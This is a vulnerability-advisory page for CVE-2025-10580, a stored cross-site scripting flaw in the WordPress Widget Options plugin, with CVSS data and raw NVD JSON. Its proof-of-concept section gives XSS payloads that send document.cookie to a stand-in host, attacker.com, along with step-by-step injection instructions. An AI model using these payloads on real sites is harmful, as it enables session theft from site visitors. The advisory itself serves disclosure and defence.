Security Vulnerability Report
中文
CVE-2025-10580 CVSS 6.4 MEDIUM

CVE-2025-10580

Published: 2025-10-25 07:15:40
Last Modified: 2026-04-15 00:35:42

Description

The Widget Options – The #1 WordPress Widget & Block Control Plugin plugin for WordPress is vulnerable to Stored Cross-Site Scripting via multiple functions in all versions up to, and including, 4.1.2 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with Contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.

CVSS Details

CVSS Score
6.4
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N

Configurations (Affected Products)

No configuration data available.

Widget Options plugin ≤ 4.1.2 (所有版本)

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
<!-- PoC: Stored XSS via Widget Options --> <!-- Requires Contributor-level access --> <!-- Method 1: Via Widget Options settings --> <!-- Inject in any Widget Option text field --> <script>alert(document.cookie)</script> <!-- Method 2: Using event handlers --> <img src=x onerror="fetch('https://attacker.com/steal?c='+document.cookie)"> <!-- Method 3: Stored XSS payload --> <svg/onload=fetch('https://attacker.com/steal?data='+btoa(document.cookie))> <!-- Exploitation Steps: --> <!-- 1. Login as Contributor user --> <!-- 2. Navigate to Appearance > Widgets --> <!-- 3. Add/Edit any widget with Widget Options --> <!-- 4. Inject XSS payload in option fields --> <!-- 5. Save widget - payload stored in database --> <!-- 6. Any user viewing the page triggers the payload -->

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-10580", "sourceIdentifier": "[email protected]", "published": "2025-10-25T07:15:39.587", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Widget Options – The #1 WordPress Widget & Block Control Plugin plugin for WordPress is vulnerable to Stored Cross-Site Scripting via multiple functions in all versions up to, and including, 4.1.2 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with Contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N", "baseScore": 6.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.1, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/changeset?sfp_email=&sfph_mail=&reponame=&old=3382357%40widget-options&new=3382357%40widget-options&sfp_email=&sfph_mail=", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/8169e533-ef3b-4fd7-9571-61e5528b7652?source=cve", "source": "[email protected]"}]}}